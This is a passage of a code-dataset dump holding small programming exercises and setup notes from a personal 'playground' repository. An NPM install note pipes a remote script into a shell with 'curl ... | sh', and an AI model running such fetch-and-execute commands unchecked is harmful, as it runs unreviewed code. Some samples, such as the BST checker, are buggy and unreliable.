puts x.base_uri\n puts x.content_type\n puts x.charset\n puts x.content_encoding\n puts x.last_modified\nend\n" }, { "alpha_fraction": 0.5263158082962036, "alphanum_fraction": 0.5748987793922424, "avg_line_length": 9.69565200805664, "blob_id": "0fb220773a1ebc4f664875cedd9c377ef9b731f1", "content_id": "e8529bab85e13046b7f04a0f691fa5010420b8ec", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Ruby", "length_bytes": 247, "license_type": "no_license", "max_line_length": 27, "num_lines": 23, "path": "/ruby/The Hard Way/10Boolean.rb", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "=begin\nBoolean Types\n\n- and\n- or\n- not\n- !=\n- ==\n- >=\n- <=\n- true\n- false\n\n=end\n\nputs true and true\nputs false and true\nputs 1==1 and 2==1\nputs 2 != 1\nputs true or 0 != 0\nputs 'test' == true\nputs (not (true and false))\nputs (not (1==1 and 0!=0))\n\n" }, { "alpha_fraction": 0.7244898080825806, "alphanum_fraction": 0.7312925457954407, "avg_line_length": 14.473684310913086, "blob_id": "ddac478738dc51eff7c175e650ee5ecc92030c93", "content_id": "b2527514d6d8e840ce4b98641265a6d960053684", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 294, "license_type": "no_license", "max_line_length": 52, "num_lines": 19, "path": "/c++/C++ Basics/36VirtualFunctionUsage.h", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "#ifndef DISCOUTSALE_H\n#define DISCOUNTSALE_H\n\n#include \"35VirtualClassFunctions.h\"\n\nnamespace customSale\n{\n\tclass DiscountSale: public Sale\n\t{\n\t\tpublic:\n\t\t\tDiscountSale();\n\t\t\tDiscountSale(double thePrice, double theDiscout);\n\t\t\tdouble bill() const;\n\t\tprivate:\n\t\t\tdouble discount;\n\t};\n}\n\n#endif\n" }, { "alpha_fraction": 0.40449437499046326, "alphanum_fraction": 0.5617977380752563, "avg_line_length": 11.714285850524902, "blob_id": "e05b5531e058660a2ae4fae4741af5439d0b3cc6", "content_id": "1a74be6eb1cf2b454975d7c446232eb36750f8e6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Ruby", "length_bytes": 89, "license_type": "no_license", "max_line_length": 21, "num_lines": 7, "path": "/ruby/Eloquent Ruby/2HashSet.rb", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "require 'set'\n\ns1 = Set.new [1,2]\ns2 = [1,2].to_set\nputs s1 == s2\n\npi = Float('3.14159')\n" }, { "alpha_fraction": 0.5503079891204834, "alphanum_fraction": 0.5770020484924316, "avg_line_length": 13.984615325927734, "blob_id": "fb45681de6313aeb71abc152756555f2ea26e11d", "content_id": "bade419e53fe788b7af21e19077ab481e69059b3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 974, "license_type": "no_license", "max_line_length": 41, "num_lines": 65, "path": "/java/Data Structures and Algorithms/02 Sorting/03InsertionSort.java", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "class ArrayInsertion {\n\tprivate long[] a;\n\tprivate int nElems;\n\n\tpublic ArrayInsertion(int max) {\n\t\ta = new long[max];\n\t\tnElems = 0;\n\t}\n\n\tpublic void insert(long value) {\n\t\ta[nElems] = value;\n\t\tnElems++;\n\t}\n\n\tpublic void display() {\n\t\tfor(int i=0; i<nElems; i++) {\n\t\t\tSystem.out.println(a[i] + \" \");\n\t\t}\n\t\tSystem.out.println(\"\");\n\t}\n\n\tpublic void insertionSort() {\n\t\tint i, j;\n\n\t\t// outer loop\n\t\tfor(i=0; i<nElems; i++) {\n\t\t\tlong temp = a[i];\n\t\t\tj = i;\n\n\t\t\twhile(j>0 && a[j-1] >= temp) {\n\t\t\t\ta[j] = a[j-1];\n\t\t\t\t--j;\n\t\t\t}\n\n\t\t\ta[j] = temp;\n\t\t}\n\t} // insertion sort\n\n}\n\nclass InsertionSortApp {\n\tpublic static void main(String[] args) {\n\t\tint maxSize = 100;\n\t\tArrayInsertion arr;\n\t\tarr = new ArrayInsertion(maxSize);\n\n\t\tarr.insert(77);\n\t\tarr.insert(42);\n\t\tarr.insert(1);\n\t\tarr.insert(34);\n\t\tarr.insert(23);\n\t\tarr.insert(5);\n\t\tarr.insert(5);\n\t\tarr.insert(0);\n\t\tarr.insert(-2);\n\t\tarr.insert(19);\n\t\tarr.insert(18);\n\n\t\tarr.display();\n\n\t\tarr.insertionSort();\n\n\t\tarr.display();\n\t}\n}\n" }, { "alpha_fraction": 0.4915662705898285, "alphanum_fraction": 0.4963855445384979, "avg_line_length": 33.41666793823242, "blob_id": "4e9c0ee29fcd3c1e1977d26ae221d734504f9f54", "content_id": "ae2b6a02d1b252208b32c24fbaa2c613e7e65648", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 415, "license_type": "no_license", "max_line_length": 81, "num_lines": 12, "path": "/javascript/StripHTMLTags.js", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "\n// Implementation #1\nfunction stripTags(html) {\n var strip = html.replace(/<\\w+(\\s+(\"[^\"]*\"|'[^']*'|[^>])+)?>|<\\/\\w+>/gi, '');\n return strip; // yes I know I could have done it in one line\n}\n\n\n// Implementation #2\nfunction stripTags(html) {\n var strip = html.replace(/<\\w+(\\s+(\"[^\"]*\"|'[^']*'|[^>])+)?>|<\\/\\w+>/gi, '');\n return strip.replace(/&lt;/g,'<').replace(/&gt;/g,'>').replace(/&amp;/g,'&');\n}\n\n" }, { "alpha_fraction": 0.6000000238418579, "alphanum_fraction": 0.6000000238418579, "avg_line_length": 10.739130020141602, "blob_id": "b09fe287a9ac81ced5b0d60c354338fc8714f4d7", "content_id": "81599b4797b555468e40fb8a85e45d131afb6d81", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 270, "license_type": "no_license", "max_line_length": 30, "num_lines": 23, "path": "/c++/C++ Basics/32Stack.h", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "#ifndef STACK_H\n#define STACK_H\n\nnamespace myStack\n{\n\tclass Stack\n\t{\n\t\tint maxStack;\n\t\tint emptyStack;\n\t\tint top;\n\t\tchar* items;\n\n\t\tpublic:\n\t\t\tStack(int);\n\t\t\t~Stack();\n\t\t\tvoid push(char the_symbol);\n\t\t\tchar pop();\n\t\t\tint empty();\n\t\t\tint full();\n\t};\n}\n\n#endif // STACK_H\n" }, { "alpha_fraction": 0.6086956262588501, "alphanum_fraction": 0.6086956262588501, "avg_line_length": 10.5, "blob_id": "d32d0f5a7d37e408996ddd635e1cc2991fd0ccf1", "content_id": "bfc8e8fdb4ee3af4052b1b3bd25ed7973be0c1c0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Ruby", "length_bytes": 92, "license_type": "no_license", "max_line_length": 23, "num_lines": 8, "path": "/ruby/05Classes.rb", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "class Foo\n def hello\n return \"world!\"\n end\nend\n\ninit = Foo.new\nputs init.hello\n" }, { "alpha_fraction": 0.7013574838638306, "alphanum_fraction": 0.7013574838638306, "avg_line_length": 20.095237731933594, "blob_id": "e17b7bd3c941a06190f22aadd8f693c4c97419c1", "content_id": "a44c4a4f90ce01ecf823822e9a43bfacb1af2da7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 442, "license_type": "no_license", "max_line_length": 238, "num_lines": 21, "path": "/documentation/debug/git/Git not recognizing remote when pulling.md", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "# Git Not Detecting Remote During `git pull`\n\n## Error Message\n\n**You asked me to pull without telling me which branch you want to merge with, and 'branch.master.merge' in your configuration file does not tell me, either. Please specify which branch you want to use on the command line and try again.**\n\n## Fix\n\n**Edit**\n\n```\n/repo/.git/config\n```\n\n**With the changes**\n\n```\n[branch \"master\"]\n remote = origin\n merge = refs/heads/master\n```" }, { "alpha_fraction": 0.6928020715713501, "alphanum_fraction": 0.7335047125816345, "avg_line_length": 20.01801872253418, "blob_id": "db260ee573de5ccf4d6c9ef71f42288bad11ff28", "content_id": "811ba7827f329a17d5b3bd9a8422a6e5d145bec3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2334, "license_type": "no_license", "max_line_length": 378, "num_lines": 111, "path": "/documentation/install/Graphite.md", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "# Installing [Graphite](http://graphite.wikidot.com) \n\n## Getting the packages\n\n```\nwget http://launchpad.net/graphite/0.9/0.9.9/+download/graphite-web-0.9.9.tar.gz\nwget http://launchpad.net/graphite/0.9/0.9.9/+download/whisper-0.9.9.tar.gz\nwget http://launchpad.net/graphite/0.9/0.9.9/+download/carbon-0.9.9.tar.gz\n\ntar -zxvf graphite-web-0.9.9.tar.gz\ntar -zxvf carbon-0.9.9.tar.gz\ntar -zxvf whisper-0.9.9.tar.gz\n\nmv graphite-web-0.9.9 graphite\nmv carbon-0.9.9 carbon\nmv whisper-0.9.9 whisper\n\nrm carbon-0.9.9.tar.gz\nrm graphite-web-0.9.9.tar.gz\nrm whisper-0.9.9.tar.gz\n```\n\n## Installing Dependencies\n\n```\nsudo apt-get install --assume-yes apache2 apache2-mpm-worker apache2-utils apache2.2-bin apache2.2-common libapr1 libaprutil1 libaprutil1-dbd-sqlite3 libapache2-mod-wsgi libaprutil1-ldap memcached python-cairo-dev python-django python-ldap python-memcache python-pysqlite2 sqlite3 erlang-os-mon erlang-snmp rabbitmq-server bzr expect ssh libapache2-mod-python python-setuptools\nsudo easy_install django-tagging\n```\n\n### Installing Whisper\n\n```\ncd ./whisper\nsudo python setup.py install\ncd ../\n```\n\n### Installing Carbon\n\n```\ncd ./carbon\nsudo python setup.py install\ncd ../\n```\n\n```\ncd /opt/graphite/conf\nsudo cp carbon.conf.example carbon.conf\nsudo cp storage-schemas.conf.example storage-schemas.conf\n```\n\n```\nsudo nano storage-schemas.conf\n```\n\nEdit the file with the following changes\n\n [stats]\n priority = 110\n pattern = .*\n retentions = 10:2160, 60:10080, 600:262974\n\n\n## Configuring Graphite\n\n```\ncd ~/graphite\nsudo python check-dependencies.py\nsudo python setup.py install\n```\n\n## Configuring Apache\n\n```\ncd ./examples\nsudo cp example-graphite-vhost.conf /etc/apache2/sites-available/default\nsudo cp /opt/graphite/conf/graphite.wsgi.example /opt/graphite/conf/graphite.wsgi\n```\n\n\n```\nsudo mkdir /etc/httpd\nsudo mkdir /etc/httpd/wsgi\nsudo /etc/init.d/apache2 reload\n```\n\n## Creating a DB\n\n```\ncd /opt/graphite/webapp/graphite/\nsudo cp local_settings.py.example local_settings.py\nsudo python manage.py syncdb\nsudo chown -R www-data:www-data /opt/graphite/storage/\nsudo /etc/init.d/apache2 restart\n```\n\n## Starting Carbon\n\n```\ncd /opt/graphite/\nsudo ./bin/carbon-cache.py start\n```\n\n\n## Sending Sample Data To Graphite\n\n```\ncd ~/graphite/examples\nsudo chmod +x example-client.py\nsudo ./example-client.py\n```\n\n" }, { "alpha_fraction": 0.5585023164749146, "alphanum_fraction": 0.5600624084472656, "avg_line_length": 10.924528121948242, "blob_id": "a9cb63faa092c0069829f729111ed14cbf408415", "content_id": "9f135c6851d089301efefee1436ed236c22737e2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 641, "license_type": "no_license", "max_line_length": 37, "num_lines": 53, "path": "/c++/C++ Basics/37MoreInheritance.cpp", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include <iostream>\nusing namespace std;\n\nclass Pet\n{\n\tpublic:\n\t\tvirtual void print();\n\t\tstring name;\n};\n\nclass Dog: public Pet\n{\n\tpublic: \n\t\tvirtual void print();\n\t\tstring breed;\n};\n\nint main()\n{\n\tDog vdog;\n\tPet vpet;\n\t\n\tvdog.name = \"Scooby\";\n\tvdog.breed = \"German Shepherd\";\n\tvpet = vdog;\n\t\n\tPet *ppet;\n\tppet = new Pet;\n\tDog *pdog;\n\tpdog = new Dog;\n\t\n\tpdog->name = \"Scooby\";\n\tpdog->breed = \"German Shepherd\";\n\t\n\tppet = pdog;\n\tppet->print();\n\tpdog->print();\n\t\n\treturn 0;\n}\n\n\nvoid Dog::print()\n{\n\tcout << \"Name : \" << name << endl;\n\tcout << \"Breed : \" << breed << endl;\n}\n\nvoid Pet::print()\n{\n\tcout << \"Name : \" << name << endl;\n}\n\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.5853211283683777, "alphanum_fraction": 0.6018348336219788, "avg_line_length": 15.515151977539062, "blob_id": "a0b905808a612f35e3bb86011f987244721f55ea", "content_id": "a514f3e68b2ece39b8e51ca243cc6343066f0df2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 545, "license_type": "no_license", "max_line_length": 59, "num_lines": 33, "path": "/documentation/deployment/flask_to_prod.md", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "## Deploying Flask app to Production\n\n\n### Prerequisites\n\n```sh\n$ sudo pip install flask\n$ sudo pip install uwsgi==1.9.20\n```\n\n### Socket Server\n\n- index is the flask server file (index.py - `app.run()`) \n\n```sh\n$ uwsgi -s /tmp/uwsgi.sock -w index:app --chmod-socket=666\n```\n\n### Nginx Config\n\n- @app here is the app class that runs flask\n\n```nginx\nserver {\n listen 80; \n server_name _; \n location / { try_files $uri @app; }\n location @app {\n include uwsgi_params;\n uwsgi_pass unix:/tmp/uwsgi.sock;\n } \n}\n```\n" }, { "alpha_fraction": 0.6907216310501099, "alphanum_fraction": 0.6907216310501099, "avg_line_length": 16.545454025268555, "blob_id": "a701f76824d0cf29b1ba19a91c135afa1ac42e7f", "content_id": "fc9ac7166b208be55f80c4720bbb7a3b27f7373d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Ruby", "length_bytes": 194, "license_type": "no_license", "max_line_length": 38, "num_lines": 11, "path": "/ruby/The Hard Way/04Strings.rb", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "weekdays = \"Mon, Tue, Wed, Thu, Fri\\n\"\nweekends = \"Sat, Sun\"\n\nputs 'Weekdays: ', weekdays\nputs 'Weekends: ', weekends\n\n\nputs <<PARAGRAPH \nThis can have long text in it.\nReally it can\nPARAGRAPH\n\n" }, { "alpha_fraction": 0.3452502489089966, "alphanum_fraction": 0.38917261362075806, "avg_line_length": 23.5, "blob_id": "3d4ed643cbfe28276e7e8cf0aecd708aa5bfbc74", "content_id": "49b1314f01d724baee535ed1ab237bb9c64fd7dc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 979, "license_type": "no_license", "max_line_length": 93, "num_lines": 40, "path": "/random/Base64.c", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "#include <stdlib.h>\n\nstatic char b64_chars[] = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n\nint base64_encode(unsigned char *data, size_t nbytes, char *buf, size_t nchars)\n{\n size_t i;\n\n for (i = 0; i * 6 < nbytes * 8 && i < nchars; i++) \n {\n size_t byte = (i * 6) / 8;\n int c = 0;\n\n switch ((i * 6) % 8) \n {\n case 0:\n c = data[byte] >> 2;\n break;\n case 2:\n c = data[byte] & ~0xC0;\n break;\n case 4:\n c = (data[byte] & ~0xF0) << 2;\n if (byte + 1 < nbytes)\n c |= data[byte+1] >> 6;\n break;\n case 6:\n c = (data[byte] & ~0xFC) << 4;\n if (byte + 1 < nbytes)\n c |= data[byte+1] >> 4;\n break;\n }\n buf[i] = b64_chars[c];\n }\n\n if (i < nchars)\n buf[i] = 0;\n\n return i;\n}" }, { "alpha_fraction": 0.6436781883239746, "alphanum_fraction": 0.6436781883239746, "avg_line_length": 12.050000190734863, "blob_id": "f4c2bc3be8e98994b598b9191528a1daef11ac8f", "content_id": "66ce3dac0fc3065122df03d3f1b4941e92346aad", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Ruby", "length_bytes": 261, "license_type": "no_license", "max_line_length": 31, "num_lines": 20, "path": "/ruby/The Hard Way/08IO.rb", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "puts 'Choose a file:'\nprint '>'\nfilename = STDIN.gets.chomp()\n\ntxt = File.open(filename, 'w+')\nputs txt.read()\n\n=begin\nFile operations:\n\n- File.close()\n- File.read()\n- File.readline()\n- File.truncate() # erases\n- File.write()\n\n=end\n\ntxt.write(\"\\n\")\ntxt.close()\n" }, { "alpha_fraction": 0.6516854166984558, "alphanum_fraction": 0.6516854166984558, "avg_line_length": 13.666666984558105, "blob_id": "b00c85c65e150be4629e49565ba296ba4b4559ad", "content_id": "373d591a60b4e6a62998ee5d0231e500914afc99", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 89, "license_type": "no_license", "max_line_length": 39, "num_lines": 6, "path": "/documentation/install/NPM.md", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "# Installing Node Package Manager (NPM)\n\n\n```\ncurl http://npmjs.org/install.sh | sh\n```\n\n" }, { "alpha_fraction": 0.4671725630760193, "alphanum_fraction": 0.5357967615127563, "avg_line_length": 27.866666793823242, "blob_id": "a6012ea92c833c5099097046113d73d8ae7485fc", "content_id": "457dc311175c8db3f54e31b4bb860e30defb88c5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3031, "license_type": "no_license", "max_line_length": 274, "num_lines": 105, "path": "/random/Poker Hand Identifier.md", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "# Poker Hand Identifier\n\n\n## About\n\nGiven a poker hand, this sed script will output the name of the hand. For example, the hand `Q:S 7:C Q:D 7:D 7:S` (queen of spades, 7 of clubs, queen of diamonds, 7 of diamonds, 7 of spades) will output `Full house`. The hand can be in any order and the colons are optional.\n\n## Code\n\n```sed\n#!/bin/sed -rf\nx;s/.*//;x;s/10/T/g;tx;:x /([^2-9TJQKA]|[^ ].):/s/.*/Card has incorrect denomination/;tz;/:([^CDHS]|.[^ ])/s/.\n*/Card has incorrect suit/;tz;s/[ :]//g;ty;:y /.{11}/s/.*/Too many cards/;tz;/.{10}/!s/.*/Too few cards/;tz;/(\n.[CDHS]).*\\1/s/.*/Duplicate card/;tz;s/^/23456789TJQKA /;ta;:a / $/bc;s/^(.)(.*) (.*)(\\1.)(.*)$/\\4 \\1\\2 \\3\\5/;\ntb;s/^.//;ta;:b H;x;s/\\n(..).*/\\1/;x;s/^.. //;ta;:c g;/.(.)(.\\1){4}/s/^/f/;s/[CDHS]//g;s/^/23456789TJQKA /;/(.\n{5}).*\\1/s/ / s/;s/.* //;te;:e /sf/{/A/s/.*/Royal flush/;t;s/.*/Straight flush/;b};/(.)\\1{3}/s/.*/Four of a ki\nnd/;t;/((.)\\2(.)\\3\\3|(.)\\4\\4(.)\\5)/s/.*/Full house/;t;/f/{s/.*/Flush/;b};/s/s/.*/Straight/;t;/(.)\\1\\1/s/.*/Thr\nee of a kind/;t;/(.)\\1.*(.)\\2/s/.*/Two pair/;t;/(.)\\1/s/.*/One pair/;t;s/.*(.)/High card: \\1/;s/T$/10/;b;:z s/\n^/ERROR: /\n```\n\n## Usage\n\n $ echo \"5:H 5:D A:S 10:D 5:C\" | script.sed\n Three of a kind\n\n $ echo \"2:H 3:H 4:H 5:H A:D\" | script.sed\n High card: A\n\n**Invalid hands are also flagged**\n\n $ echo \"2:H 3:H 4:H 5:H A:D 5:C\" | script.sed\n ERROR: Too many cards\n\n $ echo \"8:S 3:H 4:H 5:H 6:HS\" | script.sed\n ERROR: Card has incorrect suit\n\n**A pair of input and output files are included to exercise the range output options (valid and invalid hands)**\n\n 10:H J:H Q:H K:H A:H\n A:D K:D Q:D J:D 10:D\n K:C J:C 10:C A:C Q:C\n Q:S K:S A:S 10:S J:S\n 2:H 3:H 4:H 5:H 6:H\n K:D Q:D J:D 10:D 9:D\n 2:S 2:H 2:D 4:C 2:C\n J:S J:C 5:H J:H J:D\n Q:S 7:C Q:D 7:D 7:S\n 7:S Q:C 7:D Q:D Q:S\n A:D 6:D 7:D 9:D 2:D\n 2:D 3:H 4:H 5:H 6:C\n 5:C 6:H 7:D 8:D 9:D\n 5:H 5:D A:S 10:D 5:C\n 8:H J:S 8:S 3:D 3:H\n A:D 2:D 2:C 9:S A:H\n Q:S 2:H 3:H 4:H Q:H\n 2:H 3:H 4:H 5:H 7:D\n 2:H 3:H 4:H 5:H 10:D\n 2:H 3:H 4:H 5:H J:D\n 2:H 3:H 4:H 5:H Q:D\n 2:H 3:H 4:H 5:H K:D\n 2:H 3:H 4:H 5:H A:D\n 2:H 3:H 4:H 5:H A:D 5:C\n 2:H 3:H 4:H 5:H\n 2:H 3:H 4:H 2:H J:H\n 2:U 3:H 4:H 5:H 6:H\n 12:U 3:H 4:H 5:H 6:H\n 2:S 3:H 14:H 5:H 6:H\n 8:S 3:H 4:HS 5:H 6:H\n 8:S 3:H 4:H 5:H 6:HS\n 8:S 8:S 8:H 8:D 8:C\n\n\n Royal flush\n Royal flush\n Royal flush\n Royal flush\n Straight flush\n Straight flush\n Four of a kind\n Four of a kind\n Full house\n Full house\n Flush\n Straight\n Straight\n Three of a kind\n Two pair\n Two pair\n One pair\n High card: 7\n High card: 10\n High card: J\n High card: Q\n High card: K\n High card: A\n ERROR: Too many cards\n ERROR: Too few cards\n ERROR: Duplicate card\n ERROR: Card has incorrect suit\n ERROR: Card has incorrect denomination\n ERROR: Card has incorrect denomination\n ERROR: Card has incorrect suit\n ERROR: Card has incorrect suit\n ERROR: Duplicate card\n" }, { "alpha_fraction": 0.5165562629699707, "alphanum_fraction": 0.5496688485145569, "avg_line_length": 74.5, "blob_id": "5693f864c7bc7057c8b5d1f61608f98339a0b111", "content_id": "a8c0fec41236ab496e0a284b2f6540532703d85c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 151, "license_type": "no_license", "max_line_length": 133, "num_lines": 2, "path": "/random/QuickSort.py", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "def qsort(list):\n return [] if list==[] else qsort([x for x in list[1:] if x < list[0]]) + [list[0]] + qsort([x for x in list[1:] if x >= list[0]])\n" }, { "alpha_fraction": 0.534201979637146, "alphanum_fraction": 0.6123778223991394, "avg_line_length": 17.058822631835938, "blob_id": "de6f20ae291923138f5caadff7cb3b79cc322707", "content_id": "f58ad54e092fb818444cd444e534da6f8052a1c1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Ruby", "length_bytes": 307, "license_type": "no_license", "max_line_length": 63, "num_lines": 17, "path": "/ruby/The Hard Way/03Variables.rb", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "speed = 50\ndistance = 100\ntime = distance / speed\n\nputs time\nputs 3/2\nputs 3.0/2\n\nname = 'Kartik Talwar'\nage = 20 # srsly\nheight = 2.54 * 69# cm\n\nputs \"My name is %s\" % (name)\nputs \"I am #{age}.\" # this is called string interpolation\nputs \"My height is %.2f (cm) %.2f (in)\" % [height, height/2.54]\n\nputs '4' + '2'\n" }, { "alpha_fraction": 0.7360000014305115, "alphanum_fraction": 0.7360000014305115, "avg_line_length": 30.25, "blob_id": "be1e89b5c53660d48e42730c6f3499e569bd3abf", "content_id": "a4c318e7ec0cf0d5d44149a66ede2962392b9bda", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 125, "license_type": "no_license", "max_line_length": 57, "num_lines": 4, "path": "/python/Sort Dictionary by Value.py", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "newlist = sorted(arr, key=lambda k: k['keyName'])\n\nimport operator\nnewlist = sorted(arr, key=operator.itemgetter('keyName'))\n" }, { "alpha_fraction": 0.6438356041908264, "alphanum_fraction": 0.6438356041908264, "avg_line_length": 35.5, "blob_id": "2ffeef67748981451ed719783f23e5fb93ab420a", "content_id": "d8105db716795fc7ac513b3c954e425c51ce6d39", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 73, "license_type": "no_license", "max_line_length": 38, "num_lines": 2, "path": "/python/Find Most Common Item From List.py", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "array = ['duck', 'duck', 'goose']\nprint max(set(array), key=array.count)\n" }, { "alpha_fraction": 0.6349637508392334, "alphanum_fraction": 0.635869562625885, "avg_line_length": 30.571428298950195, "blob_id": "0d96fe08e21d5e4855769a9602f6a9ca5cd74990", "content_id": "3e95650bb08342a73bd6ad78e0750175b4e95b82", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1104, "license_type": "no_license", "max_line_length": 63, "num_lines": 35, "path": "/random/IsBST.cpp", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "// macros for comparison\n#define greater(a,b) (a > b ? true:false)\n#define between(a,b,c) ((a > b)&&(a < c) ? true:false)\n \n// recursive function to which we pass root node and \n// the limits of the root node, if only positive numbers\n// then we can pass 0 and +INFINITY\n \nbool isBST(node* Node, int left_limit,int right_limit)\n{\n // the node's value must be greater than its\n // left child\n if(!greater(Node->value,Node->left->value))\n return false;\n \n // the node's value must be smaller than its\n // right child\n if(!greater(Node->right->value,Node-> value))\n return false;\n \n // the node's value must be lie between it's\n // left and right limit\n if(!between(Node->value,left_limit,right_limit))\n return false;\n \n // to the left child pass the node's left limit as\n // as left limit and node's value as right limit\n isBST(Node-> left,left_limit,Node->value);\n \n \n // to the right child pass the node's value as left limit \n // and node's right limit as right limit\n isBST(Node-> right,Node->value,right_limit);\n \n}" }, { "alpha_fraction": 0.6625514626502991, "alphanum_fraction": 0.6625514626502991, "avg_line_length": 26, "blob_id": "fd16a298287707cdb57c746771557ae69d97ab28", "content_id": "ee388a894aa360bc23c13a6449e9030e62fd5d82", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 243, "license_type": "no_license", "max_line_length": 82, "num_lines": 9, "path": "/javascript/SyncHTTPRequest.js", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "// Synchronous HTTP request with jQuery\n\nvar make_request = function(get) {\n var data = '';\n jQuery.ajax({url: get, success: function(html) { data = html; }, async: false});\n return data;\n}\n\nconsole.log(make_request('http://google.com/'));\n" }, { "alpha_fraction": 0.6240875720977783, "alphanum_fraction": 0.6332116723060608, "avg_line_length": 12.699999809265137, "blob_id": "a74dd3ccdb799c9b8821d7cdc24018f5a1754fc6", "content_id": "fcb57a7d9ff7b181ad0838be82d0d0d147b70469", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 548, "license_type": "no_license", "max_line_length": 56, "num_lines": 40, "path": "/c++/C++ Basics/35VirtualClassFunctions.cpp", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include <iostream>\n#include \"35VirtualClassFunctions.h\"\nusing namespace std;\n\nnamespace customSale\n{\n\tSale::Sale() : price(10)\n\t{\n\t\t// blank\n\t}\n\t\n\tSale::Sale(double thePrice) : price(thePrice)\n\t{\n\t\t// blank\n\t}\n\t\n\tdouble Sale::bill() const\n\t{\n\t\treturn price;\n\t}\n\t\n\tdouble Sale::savings(const Sale& other) const\n\t{\n\t\treturn (bill() - other.bill());\n\t}\n\t\n\tbool operator < (const Sale& first, const Sale& second)\n\t{\n\t\treturn (first.bill() < second.bill());\n\t}\n\t\n\n}\n\n\tint main()\n\t{\n\t\t// Implementation in next example\n\t\treturn 0;\n\t}\n" }, { "alpha_fraction": 0.606217622756958, "alphanum_fraction": 0.621761679649353, "avg_line_length": 15.514286041259766, "blob_id": "ba600d3a16ead0574f998b11424378703a5d1dd8", "content_id": "6125f129e94b3431280fc0cc81d52639175af728", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Ruby", "length_bytes": 579, "license_type": "no_license", "max_line_length": 51, "num_lines": 35, "path": "/ruby/The Hard Way/15Classes.rb", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "class TheThing\n\n attr_reader :number # this makes it read only\n #attr_writer :number # write only\n #attr_accessor :number # read/write\n\n def initialize()\n # @ before a var, makes it an instance variable\n @number = 0\n end\n\n def some_function()\n puts 'I got called'\n end\n\n def add_me_up(more)\n @number += more\n return @number\n end\n\nend\n\na = TheThing.new\nb = TheThing.new\n\na.some_function()\nb.some_function()\n\nputs a.add_me_up(20)\nputs a.add_me_up(20)\nputs b.add_me_up(30)\nputs b.add_me_up(30)\n\nputs a.number\nputs b.number\n\n" }, { "alpha_fraction": 0.554852306842804, "alphanum_fraction": 0.5590717196464539, "avg_line_length": 14.290322303771973, "blob_id": "662bdbdc1a38b30444cb3402e3826f2da10ae3a7", "content_id": "a349a787c153fa58604fcff0ad89d52fe0ab6cb2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 474, "license_type": "no_license", "max_line_length": 73, "num_lines": 31, "path": "/c++/C++ Basics/38BasicErrorHandling.cpp", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include <iostream>\nusing namespace std;\n\nint main()\n{\n\tint donuts, milk;\n\tdouble dpg;\n\t\n\ttry\n\t{\n\t\tcout << \"Enter number of donuts: \" << endl;\n\t\tcin >> donuts;\n\t\tcout << \"Enter glasses of milk : \" << endl;\n\t\tcin >> milk;\n\t\t\n\t\tif(milk < 1)\n\t\t{\n\t\t\tthrow donuts;\n\t\t}\n\t\t\n\t\tdpg = donuts/double(milk);\n\t\tcout << \"You have \" << dpg << \" donuts for each glass of milk\" << 